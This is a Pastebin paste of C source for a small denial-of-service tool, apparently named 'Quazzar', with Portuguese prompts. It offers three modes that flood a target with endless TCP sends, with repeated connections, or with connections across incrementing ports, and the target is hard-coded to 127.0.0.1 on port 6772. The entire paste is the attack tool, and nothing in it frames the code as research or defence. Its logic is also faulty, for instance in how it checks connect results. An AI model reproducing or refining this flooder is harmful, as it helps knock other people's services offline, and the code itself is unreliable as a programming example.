Guest User

Blazar

a guest
Aug 10th, 2012
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.35 KB | None | 0 0
  1. #include <time.h>
  2. #include <math.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <malloc.h>
  6. #include <stdarg.h>
  7. #include <strings.h>
  8. #include <pthread.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <arpa/inet.h>
  12. #include <unistd.h>
  13.  
  14. #define PORTA porta
  15. #define IP ip
  16. #define VERSION "PRE-ALPHA"
  17.  
  18. char ip[13];
  19. unsigned short int porta;
  20.  
  21. int soquete,soquete2,soquete3;
  22. struct sockaddr_in alvo;
  23.  
  24. void criar_socket(int var);
  25.  
  26. void thread();
  27. void thread2();
  28. void thread3();
  29.  
  30. void main(void)
  31. {
  32.     float want;
  33.     pthread_t threads[2];
  34.     printf("Quazzar %s\n",VERSION);
  35.     printf("|Digite a porta|\n");
  36.     printf("Sua escolha:");
  37.     //scanf("%hd",&porta);
  38.     porta = 6772;
  39.     if(porta > 65535 || porta <= 0)
  40.     {
  41.         system("clear");
  42.         printf("Porta errada...\n");
  43.         sleep(1);
  44.         exit(1);
  45.     }
  46.     printf("|Digite o IP do alvo|\n");
  47.     printf("Sua escolha:");
  48.     //scanf("%s",ip);
  49.     strcpy(ip,"127.0.0.1");
  50.     printf("|Digite o tipo de ataque:|\n");
  51.     printf("|1 = Volume de dados.|\n");
  52.     printf("|2 = Volume de conexoes.|\n");
  53.     printf("|2.5 = Volume de conexoes, portas diferentes.|\n");
  54.     //scanf("%f",&want);
  55.     want = 1;
  56.     if(want != 1 && want != 2 && want != 2.5)
  57.     {
  58.         system("clear");
  59.         printf("Escolha uma das opcoes...\n");
  60.         sleep(1);
  61.         exit(1);
  62.    
  63.     }
  64.     criar_socket(1);
  65.     if(want == 1)
  66.     {
  67.         pthread_create(&(threads[1]), NULL, thread, NULL);
  68.     }
  69.     if(want == 2)
  70.     {
  71.         pthread_create(&(threads[1]), NULL, thread2, NULL);
  72.     }
  73.      if(want == 2.5)
  74.         pthread_create(&(threads[1]), NULL, thread3, NULL);
  75.     sleep(3);
  76.      close(soquete);
  77.      close(soquete2);
  78.      close(soquete3);
  79. }
  80.  
  81. void thread()
  82. {
  83.     connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
  84.     if(connect <= 0)
  85.     {
  86.         printf("Porta provavelmente fechada...\n");
  87.         exit(1);
  88.     }
  89.     printf("Flooding...\n");
  90.     while(1)
  91.     {
  92.         send(soquete,"LASERED",strlen("LASERED"),4);
  93.     }
  94. }
  95. void thread2()
  96. {
  97.     printf("Flooding...\n");
  98.     while(1)
  99.     {
  100.         criar_socket(2);
  101.         if(connect(soquete2,(struct sockaddr *)&alvo,sizeof alvo) <= 0)
  102.         {
  103.                 printf("Porta provavelmente fechada...\n");
  104.                 sleep(0);
  105.                 exit(1);
  106.         }
  107.        
  108.     }
  109. }
  110.  
  111. void thread3()
  112. {
  113.     printf("Flooding...\n");
  114.     while(1)
  115.     {
  116.         criar_socket(3);
  117.         printf("%d\n",porta);
  118.         if(connect(soquete3,(struct sockaddr *)&alvo,sizeof alvo) <= 0)
  119.         {
  120.             printf("Porta provavelmente fechada...\n");
  121.             sleep(0);
  122.         }
  123.        
  124.     }
  125. }
  126.  
  127. void criar_socket(int var)
  128. {
  129.     if(1)
  130.     {
  131.         soquete = socket(AF_INET,SOCK_STREAM,6);
  132.         alvo.sin_family = AF_INET;
  133.         alvo.sin_port = htons(PORTA);
  134.         alvo.sin_addr.s_addr = inet_addr(IP);
  135.         bzero(&(alvo.sin_zero),8);
  136.         if(soquete < 0)
  137.         {
  138.             printf("Erro na criacao do socket.\n");
  139.             exit(1);
  140.         }
  141.         soquete2 = socket(AF_INET,SOCK_STREAM,6);
  142.         if(soquete2 < 0)
  143.         {
  144.             printf("Erro na criacao do socket.\n");
  145.             exit(1);
  146.         }
  147.     }
  148.     if(var == 2)
  149.     {
  150.         close(soquete2);
  151.         soquete2 = socket(AF_INET,SOCK_STREAM,6);
  152.         if(soquete2 < 0)
  153.         {
  154.             printf("Erro na criacao do socket.\n");
  155.             exit(1);
  156.         }
  157.     }
  158.     if(var == 3)
  159.     {
  160.         close(soquete3);
  161.         soquete = socket(AF_INET,SOCK_STREAM,6);
  162.         alvo.sin_family = AF_INET;
  163.         if(porta < 65534)
  164.             porta++;
  165.         if(porta >= 65534)
  166.             porta--;
  167.         alvo.sin_port = htons(porta);
  168.         alvo.sin_addr.s_addr = inet_addr(IP);
  169.         bzero(&(alvo.sin_zero),8);
  170.         soquete3 = socket(AF_INET,SOCK_STREAM,6);
  171.         if(soquete3 < 0)
  172.         {
  173.             printf("Erro na criacao do socket.\n");
  174.             exit(1);
  175.         }
  176.     }
  177.        
  178. }
Advertisement
Add Comment
Please, Sign In to add comment